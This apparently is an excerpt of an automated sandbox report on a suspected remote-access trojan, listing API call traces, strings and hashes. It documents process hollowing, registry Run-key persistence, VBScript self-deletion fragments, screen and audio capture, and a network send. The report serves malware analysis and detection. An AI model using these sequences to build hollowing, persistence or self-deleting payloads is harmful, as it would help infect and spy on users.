                                                                                                                              • GetObjectA.GDI32(00000000,00000018,?), ref: 00419068
                                                                                                                              • LocalAlloc.KERNEL32(00000040,00000001), ref: 004190D5
                                                                                                                              • GlobalAlloc.KERNEL32(00000000,?), ref: 00419144
                                                                                                                              • GetDIBits.GDI32(00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 00419168
                                                                                                                              • DeleteDC.GDI32(?), ref: 0041917C
                                                                                                                              • DeleteDC.GDI32(00000000), ref: 0041917F
                                                                                                                              • DeleteObject.GDI32(00000000), ref: 00419182
                                                                                                                              • GlobalFree.KERNEL32(?), ref: 0041918D
                                                                                                                              • DeleteObject.GDI32(00000000), ref: 00419241
                                                                                                                              • GlobalFree.KERNEL32(?), ref: 00419248
                                                                                                                              • DeleteDC.GDI32(?), ref: 00419258
                                                                                                                              • DeleteDC.GDI32(00000000), ref: 00419263
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: Delete$Object$CreateGlobal$AllocCompatibleFreeIcon$BitmapBitsDisplayDrawEnumInfoLocalSelectSettingsStretch
                                                                                                                              • String ID: DISPLAY
                                                                                                                              • API String ID: 479521175-865373369
                                                                                                                              • Opcode ID: eeea48b2f12328c67a7764adb0283258d44bef4919e0b7e4c041a6272c1fd371
                                                                                                                              • Instruction ID: c224b28d618b709f2792c20de920cdabb9de4a917dc726d0ffe82d87ba3e906a
                                                                                                                              • Opcode Fuzzy Hash: eeea48b2f12328c67a7764adb0283258d44bef4919e0b7e4c041a6272c1fd371
                                                                                                                              • Instruction Fuzzy Hash: 75C14C71508301AFD720DF25DC44BABBBE9EB88715F00482EF98993291DB74ED45CB6A
                                                                                                                              Function 004180EF Relevance: 47.5, APIs: 22, Strings: 5, Instructions: 289libraryloaderthreadCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • GetModuleHandleA.KERNEL32(ntdll,ZwCreateSection,00000000,00000000), ref: 00418136
                                                                                                                              • GetProcAddress.KERNEL32(00000000), ref: 00418139
                                                                                                                              • GetModuleHandleA.KERNEL32(ntdll,ZwMapViewOfSection), ref: 0041814A
                                                                                                                              • GetProcAddress.KERNEL32(00000000), ref: 0041814D
                                                                                                                              • GetModuleHandleA.KERNEL32(ntdll,ZwUnmapViewOfSection), ref: 0041815E
                                                                                                                              • GetProcAddress.KERNEL32(00000000), ref: 00418161
                                                                                                                              • GetModuleHandleA.KERNEL32(ntdll,ZwClose), ref: 00418172
                                                                                                                              • GetProcAddress.KERNEL32(00000000), ref: 00418175
                                                                                                                              • CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000004,00000000,00000000,?,?), ref: 00418217
                                                                                                                              • VirtualAlloc.KERNEL32(00000000,00000004,00001000,00000004), ref: 0041822F
                                                                                                                              • GetThreadContext.KERNEL32(?,00000000), ref: 00418245
                                                                                                                              • ReadProcessMemory.KERNEL32(?,?,?,00000004,?), ref: 0041826B
                                                                                                                              • VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 004182ED
                                                                                                                              • TerminateProcess.KERNEL32(?,00000000), ref: 00418301
                                                                                                                              • GetCurrentProcess.KERNEL32(?,00000000,00000000,00000000,?,00000001,00000000,00000040), ref: 00418341
                                                                                                                              • WriteProcessMemory.KERNEL32(?,?,?,00000004,00000000), ref: 0041840B
                                                                                                                              • SetThreadContext.KERNEL32(?,00000000), ref: 00418428
                                                                                                                              • ResumeThread.KERNEL32(?), ref: 00418435
                                                                                                                              • VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 0041844C
                                                                                                                              • GetCurrentProcess.KERNEL32(?), ref: 00418457
                                                                                                                              • TerminateProcess.KERNEL32(?,00000000), ref: 00418472
                                                                                                                              • GetLastError.KERNEL32 ref: 0041847A
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: Process$AddressHandleModuleProc$ThreadVirtual$ContextCurrentFreeMemoryTerminate$AllocCreateErrorLastReadResumeWrite
                                                                                                                              • String ID: ZwClose$ZwCreateSection$ZwMapViewOfSection$ZwUnmapViewOfSection$ntdll
                                                                                                                              • API String ID: 4188446516-3035715614
                                                                                                                              • Opcode ID: b936ea2c1396c7360966393650c98f262233681cd2418a1eb1ae5de04f4b839e
                                                                                                                              • Instruction ID: 216cb1b436b1bb1c0a39989cd20dfb1fea14fcd849b5832ba41dfff5d3f22c39
                                                                                                                              • Opcode Fuzzy Hash: b936ea2c1396c7360966393650c98f262233681cd2418a1eb1ae5de04f4b839e
                                                                                                                              • Instruction Fuzzy Hash: EDA16E70604305AFDB208F64CC85BAB7BE8FF48705F04482EF595D6291EB78D844CB1A
                                                                                                                              Function 0040D420 Relevance: 45.8, APIs: 6, Strings: 20, Instructions: 282registryCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                                • Part of subcall function 00412850: TerminateProcess.KERNEL32(00000000,?,0040D80F), ref: 00412860
                                                                                                                                • Part of subcall function 00412850: WaitForSingleObject.KERNEL32(000000FF,?,0040D80F), ref: 00412873
                                                                                                                              • GetModuleFileNameW.KERNEL32(00000000,?,00000208,?,?,00000000), ref: 0040D51D
                                                                                                                              • RegDeleteKeyA.ADVAPI32(80000001,00000000), ref: 0040D530
                                                                                                                              • SetFileAttributesW.KERNEL32(?,00000080,?,?,00000000), ref: 0040D549
                                                                                                                              • SetFileAttributesW.KERNEL32(00000000,00000080,?,?,00000000), ref: 0040D579
                                                                                                                                • Part of subcall function 0040B8AC: TerminateThread.KERNEL32(0040A27D,00000000,00000000,?,0040D442,?,00000000), ref: 0040B8BB
                                                                                                                                • Part of subcall function 0040B8AC: UnhookWindowsHookEx.USER32(004750F0), ref: 0040B8C7
                                                                                                                                • Part of subcall function 0040B8AC: TerminateThread.KERNEL32(0040A267,00000000,?,0040D442,?,00000000), ref: 0040B8D5
                                                                                                                                • Part of subcall function 0041C3F1: CreateFileW.KERNEL32(00000004,40000000,00000000,00000000,00000002,00000080,00000000,00000000,00000000,?,00000004,00000000,0041C510,00000000,00000000,00000000), ref: 0041C430
                                                                                                                              • ShellExecuteW.SHELL32(00000000,open,00000000,00466468,00466468,00000000), ref: 0040D7C4
                                                                                                                              • ExitProcess.KERNEL32 ref: 0040D7D0
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: File$Terminate$AttributesProcessThread$CreateDeleteExecuteExitHookModuleNameObjectShellSingleUnhookWaitWindows
                                                                                                                              • String ID: """, 0$")$0qF$0qF$8SG$CreateObject("WScript.Shell").Run "cmd /c ""$On Error Resume Next$Set fso = CreateObject("Scripting.FileSystemObject")$Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\$Software\Microsoft\Windows\CurrentVersion\Run\$Temp$\update.vbs$dMG$exepath$fso.DeleteFile "$fso.DeleteFile(Wscript.ScriptFullName)$fso.DeleteFolder "$open$wend$while fso.FileExists("
                                                                                                                              • API String ID: 1861856835-332907002
                                                                                                                              • Opcode ID: f06c0f3fe88489d0e2c5ffad4c1a0fc09fbad2280a0079c9fbc51da470a9490e
                                                                                                                              • Instruction ID: f0dedf37b1d13a6a68a2ae87fd6fc042f686ba0b246118386f774540a9e6bc24
                                                                                                                              • Opcode Fuzzy Hash: f06c0f3fe88489d0e2c5ffad4c1a0fc09fbad2280a0079c9fbc51da470a9490e
                                                                                                                              • Instruction Fuzzy Hash: 2191A4716082005AC315FB62D8529AFB7A9AF91309F10443FB14AA71E3FF7C9D49C65E
                                                                                                                              Function 0040D096 Relevance: 42.3, APIs: 6, Strings: 18, Instructions: 260registryCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                                • Part of subcall function 00412850: TerminateProcess.KERNEL32(00000000,?,0040D80F), ref: 00412860
                                                                                                                                • Part of subcall function 00412850: WaitForSingleObject.KERNEL32(000000FF,?,0040D80F), ref: 00412873
                                                                                                                              • GetModuleFileNameW.KERNEL32(00000000,?,00000208,?,?,?,?,?,004752F0,?,pth_unenc), ref: 0040D1A5
                                                                                                                              • RegDeleteKeyA.ADVAPI32(80000001,00000000), ref: 0040D1B8
                                                                                                                              • SetFileAttributesW.KERNEL32(00000000,00000080,?,?,?,?,?,004752F0,?,pth_unenc), ref: 0040D1E8
                                                                                                                              • SetFileAttributesW.KERNEL32(?,00000080,?,?,?,?,?,004752F0,?,pth_unenc), ref: 0040D1F7
                                                                                                                                • Part of subcall function 0040B8AC: TerminateThread.KERNEL32(0040A27D,00000000,00000000,?,0040D442,?,00000000), ref: 0040B8BB
                                                                                                                                • Part of subcall function 0040B8AC: UnhookWindowsHookEx.USER32(004750F0), ref: 0040B8C7
                                                                                                                                • Part of subcall function 0040B8AC: TerminateThread.KERNEL32(0040A267,00000000,?,0040D442,?,00000000), ref: 0040B8D5
                                                                                                                                • Part of subcall function 0041B978: GetCurrentProcessId.KERNEL32(00000000,?,?,?,?,?,?,0040407C), ref: 0041B99F
                                                                                                                              • ShellExecuteW.SHELL32(00000000,open,00000000,00466468,00466468,00000000), ref: 0040D412
                                                                                                                              • ExitProcess.KERNEL32 ref: 0040D419
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: FileProcessTerminate$AttributesThread$CurrentDeleteExecuteExitHookModuleNameObjectShellSingleUnhookWaitWindows
                                                                                                                              • String ID: ")$.vbs$8SG$On Error Resume Next$Set fso = CreateObject("Scripting.FileSystemObject")$Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\$Software\Microsoft\Windows\CurrentVersion\Run\$Temp$dMG$exepath$fso.DeleteFile "$fso.DeleteFile(Wscript.ScriptFullName)$fso.DeleteFolder "$hpF$open$pth_unenc$wend$while fso.FileExists("
                                                                                                                              • API String ID: 3797177996-2557013105
                                                                                                                              • Opcode ID: a1a0741b8aa6907e639e806891c4818a969d9db6df5c1f8137be8dc9c05249f3
                                                                                                                              • Instruction ID: d7bb7cf55c4450259501d0c3086a2d123ad94ece798773e978a9ab54bd012bbb
                                                                                                                              • Opcode Fuzzy Hash: a1a0741b8aa6907e639e806891c4818a969d9db6df5c1f8137be8dc9c05249f3
                                                                                                                              • Instruction Fuzzy Hash: 9081B0716082005BC715FB62D8529AF77A8AFD1308F10483FB586A71E2EF7C9E49C65E
                                                                                                                              Function 00412475 Relevance: 40.4, APIs: 17, Strings: 6, Instructions: 190synchronizationsleepfileCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • CreateMutexA.KERNEL32(00000000,00000001,00000000,00000000,004750E4,00000003), ref: 00412494
                                                                                                                              • ExitProcess.KERNEL32(00000000), ref: 004124A0
                                                                                                                              • CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 0041251A
                                                                                                                              • OpenProcess.KERNEL32(00100000,00000000,00000000), ref: 00412529
                                                                                                                              • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 00412534
                                                                                                                              • CloseHandle.KERNEL32(00000000), ref: 0041253B
                                                                                                                              • GetCurrentProcessId.KERNEL32 ref: 00412541
                                                                                                                              • PathFileExistsW.SHLWAPI(?), ref: 00412572
                                                                                                                              • GetTempPathW.KERNEL32(00000104,?), ref: 004125D5
                                                                                                                              • GetTempFileNameW.KERNEL32(?,temp_,00000000,?), ref: 004125EF
                                                                                                                              • lstrcatW.KERNEL32(?,.exe), ref: 00412601
                                                                                                                                • Part of subcall function 0041C3F1: CreateFileW.KERNEL32(00000004,40000000,00000000,00000000,00000002,00000080,00000000,00000000,00000000,?,00000004,00000000,0041C510,00000000,00000000,00000000), ref: 0041C430
                                                                                                                              • ShellExecuteW.SHELL32(00000000,open,?,00000000,00000000,00000001), ref: 00412641
                                                                                                                              • Sleep.KERNEL32(000001F4), ref: 00412682
                                                                                                                              • OpenProcess.KERNEL32(00100000,00000000,00000000), ref: 00412697
                                                                                                                              • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 004126A2
                                                                                                                              • CloseHandle.KERNEL32(00000000), ref: 004126A9
                                                                                                                              • GetCurrentProcessId.KERNEL32 ref: 004126AF
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: Process$File$Create$CloseCurrentHandleObjectOpenPathSingleTempWait$ExecuteExistsExitMutexNameShellSleeplstrcat
                                                                                                                              • String ID: .exe$8SG$WDH$exepath$open$temp_
                                                                                                                              • API String ID: 2649220323-436679193
                                                                                                                              • Opcode ID: 5afe557bd59fe2fb36d972248b29c5deb24c09acede0227067c4c091f693347a
                                                                                                                              • Instruction ID: 17e21f0bcac096b9b94ced5306d028ab2385f4d1d2402c2ee3c492442eb82615
                                                                                                                              • Opcode Fuzzy Hash: 5afe557bd59fe2fb36d972248b29c5deb24c09acede0227067c4c091f693347a
                                                                                                                              • Instruction Fuzzy Hash: 4651B371A00315BBDB10ABA09C9AEFE336D9B04715F10406BF502E71D2EFBC8E85865D
                                                                                                                              Function 0041B047 Relevance: 40.4, APIs: 12, Strings: 11, Instructions: 180synchronizationCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • mciSendStringW.WINMM(00000000,00000000,00000000,00000000), ref: 0041B13C
                                                                                                                              • mciSendStringA.WINMM(play audio,00000000,00000000,00000000), ref: 0041B150
                                                                                                                              • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,000000A9,004660A4), ref: 0041B178
                                                                                                                              • PathFileExistsW.SHLWAPI(00000000,00000000,00000000,00474EE0,00000000), ref: 0041B18E
                                                                                                                              • mciSendStringA.WINMM(pause audio,00000000,00000000,00000000), ref: 0041B1CF
                                                                                                                              • mciSendStringA.WINMM(resume audio,00000000,00000000,00000000), ref: 0041B1E7
                                                                                                                              • mciSendStringA.WINMM(status audio mode,?,00000014,00000000), ref: 0041B1FC
                                                                                                                              • SetEvent.KERNEL32 ref: 0041B219
                                                                                                                              • WaitForSingleObject.KERNEL32(000001F4), ref: 0041B22A
                                                                                                                              • CloseHandle.KERNEL32 ref: 0041B23A
                                                                                                                              • mciSendStringA.WINMM(stop audio,00000000,00000000,00000000), ref: 0041B25C
                                                                                                                              • mciSendStringA.WINMM(close audio,00000000,00000000,00000000), ref: 0041B266
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: SendString$Event$CloseCreateExistsFileHandleObjectPathSingleWait
                                                                                                                              • String ID: alias audio$" type $close audio$open "$pause audio$play audio$resume audio$status audio mode$stop audio$stopped$NG
                                                                                                                              • API String ID: 738084811-2094122233
                                                                                                                              • Opcode ID: 1af6777f4b26f00d2594b4f9da1b5597036d5e91d20fdc05908bc04bace6597c
                                                                                                                              • Instruction ID: fe650b41180b39ed17604f18bcb9a712e211fca36760164052b554565c231c06
                                                                                                                              • Opcode Fuzzy Hash: 1af6777f4b26f00d2594b4f9da1b5597036d5e91d20fdc05908bc04bace6597c
                                                                                                                              • Instruction Fuzzy Hash: 0351A3B12842056AD314B771DC96ABF379CDB84358F10043FB64A521E2EF788D48CA6E
                                                                                                                              Function 00401A6D Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 156fileCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • CreateFileW.KERNEL32(00000000,40000000,00000000), ref: 00401AD9
                                                                                                                              • WriteFile.KERNEL32(00000000,RIFF,00000004,?,00000000), ref: 00401B03
                                                                                                                              • WriteFile.KERNEL32(00000000,00000000,00000004,00000000,00000000), ref: 00401B13
                                                                                                                              • WriteFile.KERNEL32(00000000,WAVE,00000004,00000000,00000000), ref: 00401B23
                                                                                                                              • WriteFile.KERNEL32(00000000,fmt ,00000004,00000000,00000000), ref: 00401B33
                                                                                                                              • WriteFile.KERNEL32(00000000,?,00000004,00000000,00000000), ref: 00401B43
                                                                                                                              • WriteFile.KERNEL32(00000000,?,00000002,00000000,00000000), ref: 00401B54
                                                                                                                              • WriteFile.KERNEL32(00000000,00472AAA,00000002,00000000,00000000), ref: 00401B65
                                                                                                                              • WriteFile.KERNEL32(00000000,00472AAC,00000004,00000000,00000000), ref: 00401B75
                                                                                                                              • WriteFile.KERNEL32(00000000,00000001,00000004,00000000,00000000), ref: 00401B85
                                                                                                                              • WriteFile.KERNEL32(00000000,?,00000002,00000000,00000000), ref: 00401B96
                                                                                                                              • WriteFile.KERNEL32(00000000,00472AB6,00000002,00000000,00000000), ref: 00401BA7
                                                                                                                              • WriteFile.KERNEL32(00000000,data,00000004,00000000,00000000), ref: 00401BB7
                                                                                                                              • WriteFile.KERNEL32(00000000,?,00000004,00000000,00000000), ref: 00401BC7
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: File$Write$Create
                                                                                                                              • String ID: RIFF$WAVE$data$fmt
                                                                                                                              • API String ID: 1602526932-4212202414
                                                                                                                              • Opcode ID: 62b265300192e2cf3fc36ee1b19606fb2409bb2919511e1e0316a81c88f5e1bc
                                                                                                                              • Instruction ID: 2ec91bc18be8700290cedec85ec8f66933089e8d2246bcc6fed4c3761e19f715
                                                                                                                              • Opcode Fuzzy Hash: 62b265300192e2cf3fc36ee1b19606fb2409bb2919511e1e0316a81c88f5e1bc
                                                                                                                              • Instruction Fuzzy Hash: EB414E72644308BAE210DA51DD86FBB7EECEB89B50F40441AF644D60C0D7A4E909DBB3
                                                                                                                              Function 00407270 Relevance: 35.1, APIs: 12, Strings: 8, Instructions: 62libraryloaderCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • GetModuleHandleW.KERNEL32(ntdll.dll,RtlInitUnicodeString,00000000,C:\Users\user\Desktop\rSOD219ISF-____.scr.exe,00000001,0040764D,C:\Users\user\Desktop\rSOD219ISF-____.scr.exe,00000003,00407675,004752D8,004076CE), ref: 00407284
                                                                                                                              • GetProcAddress.KERNEL32(00000000), ref: 0040728D
                                                                                                                              • GetModuleHandleW.KERNEL32(ntdll.dll,NtAllocateVirtualMemory), ref: 004072A2
                                                                                                                              • GetProcAddress.KERNEL32(00000000), ref: 004072A5
                                                                                                                              • GetModuleHandleW.KERNEL32(ntdll.dll,NtFreeVirtualMemory), ref: 004072B6
                                                                                                                              • GetProcAddress.KERNEL32(00000000), ref: 004072B9
                                                                                                                              • GetModuleHandleW.KERNEL32(ntdll.dll,RtlAcquirePebLock), ref: 004072CA
                                                                                                                              • GetProcAddress.KERNEL32(00000000), ref: 004072CD
                                                                                                                              • GetModuleHandleW.KERNEL32(ntdll.dll,RtlReleasePebLock), ref: 004072DE
                                                                                                                              • GetProcAddress.KERNEL32(00000000), ref: 004072E1
                                                                                                                              • GetModuleHandleW.KERNEL32(ntdll.dll,LdrEnumerateLoadedModules), ref: 004072F2
                                                                                                                              • GetProcAddress.KERNEL32(00000000), ref: 004072F5
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: AddressHandleModuleProc
                                                                                                                              • String ID: C:\Users\user\Desktop\rSOD219ISF-____.scr.exe$LdrEnumerateLoadedModules$NtAllocateVirtualMemory$NtFreeVirtualMemory$RtlAcquirePebLock$RtlInitUnicodeString$RtlReleasePebLock$ntdll.dll
                                                                                                                              • API String ID: 1646373207-196397709
                                                                                                                              • Opcode ID: 219bb9ae8fbeca959e8a3246f6ba2b5d667704a520b136de0cc32d122fe89174
                                                                                                                              • Instruction ID: f839149ce94c73eee9bda0254407c114f4740b95dc73f4bc012c28e2a4ae17e7
                                                                                                                              • Opcode Fuzzy Hash: 219bb9ae8fbeca959e8a3246f6ba2b5d667704a520b136de0cc32d122fe89174
                                                                                                                              • Instruction Fuzzy Hash: 520171E0E4431676DB216F3A6C54D4B6F9C9E5125131A087BB409E2292FEBCE800CE6D
                                                                                                                              Function 0041C01B Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 139stringCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • lstrlenW.KERNEL32(?), ref: 0041C036
                                                                                                                              • _memcmp.LIBVCRUNTIME ref: 0041C04E
                                                                                                                              • lstrlenW.KERNEL32(?), ref: 0041C067
                                                                                                                              • FindFirstVolumeW.KERNEL32(?,00000104,?), ref: 0041C0A2
                                                                                                                              • GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 0041C0B5
                                                                                                                              • QueryDosDeviceW.KERNEL32(?,?,00000064), ref: 0041C0F9
                                                                                                                              • lstrcmpW.KERNEL32(?,?), ref: 0041C114
                                                                                                                              • FindNextVolumeW.KERNEL32(?,0000003F,00000104), ref: 0041C12C
                                                                                                                              • _wcslen.LIBCMT ref: 0041C13B
                                                                                                                              • FindVolumeClose.KERNEL32(?), ref: 0041C15B
                                                                                                                              • GetLastError.KERNEL32 ref: 0041C173
                                                                                                                              • GetVolumePathNamesForVolumeNameW.KERNEL32(?,?,?,?), ref: 0041C1A0
                                                                                                                              • lstrcatW.KERNEL32(?,?), ref: 0041C1B9
                                                                                                                              • lstrcpyW.KERNEL32(?,?), ref: 0041C1C8
                                                                                                                              • GetLastError.KERNEL32 ref: 0041C1D0
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: Volume$ErrorFindLast$lstrlen$CloseDeviceFirstNameNamesNextPathQuery_memcmp_wcslenlstrcatlstrcmplstrcpy
                                                                                                                              • String ID: ?
                                                                                                                              • API String ID: 3941738427-1684325040
                                                                                                                              • Opcode ID: abe7e308a1a6702f98718e9be80ca678ae2d2d31c1c14d85f2c6eaae61ca29ed
                                                                                                                              • Instruction ID: a349862c8cee18361e8dc915c9858c0b302c9409c899df8dda18ff866c7f94c5
                                                                                                                              • Opcode Fuzzy Hash: abe7e308a1a6702f98718e9be80ca678ae2d2d31c1c14d85f2c6eaae61ca29ed
                                                                                                                              • Instruction Fuzzy Hash: 8B416171584316EBD720DFA0DC889EB77ECAB49755F00092BF545C2261EB78C988CBDA
                                                                                                                              Function 00414D86 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 109libraryloaderCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00414DD5
                                                                                                                              • LoadLibraryA.KERNEL32(?), ref: 00414E17
                                                                                                                              • GetProcAddress.KERNEL32(00000000,getaddrinfo), ref: 00414E37
                                                                                                                              • FreeLibrary.KERNEL32(00000000), ref: 00414E3E
                                                                                                                              • LoadLibraryA.KERNEL32(?), ref: 00414E76
                                                                                                                              • GetProcAddress.KERNEL32(00000000,getaddrinfo), ref: 00414E88
                                                                                                                              • FreeLibrary.KERNEL32(00000000), ref: 00414E8F
                                                                                                                              • GetProcAddress.KERNEL32(00000000,?), ref: 00414E9E
                                                                                                                              • FreeLibrary.KERNEL32(00000000), ref: 00414EB5
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: Library$AddressFreeProc$Load$DirectorySystem
                                                                                                                              • String ID: IA$\ws2_32$\wship6$freeaddrinfo$getaddrinfo$getnameinfo
                                                                                                                              • API String ID: 2490988753-1941338355
                                                                                                                              • Opcode ID: 5f1d90fefb9d3b4d80abd47ac0ceceaf8be97214d3ee7f7b1d429d579a686c66
                                                                                                                              • Instruction ID: d7a8240acd80c680e6a706eb94e62412fcb65bdb905c2e3468e0ccb64a1f64dc
                                                                                                                              • Opcode Fuzzy Hash: 5f1d90fefb9d3b4d80abd47ac0ceceaf8be97214d3ee7f7b1d429d579a686c66
                                                                                                                              • Instruction Fuzzy Hash: 8C31D5B1902315A7C320EF65DC84EDBB7D8AF84744F004A2AF94893250D778DD858BEE
                                                                                                                              Function 0044F42D Relevance: 25.9, APIs: 17, Instructions: 419COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: _free$EnvironmentVariable$_wcschr
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 3899193279-0
                                                                                                                              • Opcode ID: 138887d55368f9cf58208da3f492a4fc17d417063cec38a58e843e9613042db9
                                                                                                                              • Instruction ID: f75d98bba309171a1893162bbba9979c566f834f65d54a181aa040c21db392b6
                                                                                                                              • Opcode Fuzzy Hash: 138887d55368f9cf58208da3f492a4fc17d417063cec38a58e843e9613042db9
                                                                                                                              • Instruction Fuzzy Hash: C4D13672D007006BFB20AF799D81A6B77A4EF01318F05427FE919A7382EB3D99058799
                                                                                                                              Function 00412AB4 Relevance: 25.0, APIs: 9, Strings: 5, Instructions: 482sleepfileCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00412ACD
                                                                                                                                • Part of subcall function 0041B978: GetCurrentProcessId.KERNEL32(00000000,?,?,?,?,?,?,0040407C), ref: 0041B99F
                                                                                                                                • Part of subcall function 00418568: CloseHandle.KERNEL32(004040F5,?,?,004040F5,00465E74), ref: 0041857E
                                                                                                                                • Part of subcall function 00418568: CloseHandle.KERNEL32(t^F,?,?,004040F5,00465E74), ref: 00418587
                                                                                                                              • Sleep.KERNEL32(0000000A,00465E74), ref: 00412C1F
                                                                                                                              • Sleep.KERNEL32(0000000A,00465E74,00465E74), ref: 00412CC1
                                                                                                                              • Sleep.KERNEL32(0000000A,00465E74,00465E74,00465E74), ref: 00412D63
                                                                                                                              • DeleteFileW.KERNEL32(00000000,00465E74,00465E74,00465E74), ref: 00412DC5
                                                                                                                              • DeleteFileW.KERNEL32(00000000,00465E74,00465E74,00465E74), ref: 00412DFC
                                                                                                                              • DeleteFileW.KERNEL32(00000000,00465E74,00465E74,00465E74), ref: 00412E38
                                                                                                                              • Sleep.KERNEL32(000001F4,00465E74,00465E74,00465E74), ref: 00412E52
                                                                                                                              • Sleep.KERNEL32(00000064), ref: 00412E94
                                                                                                                                • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
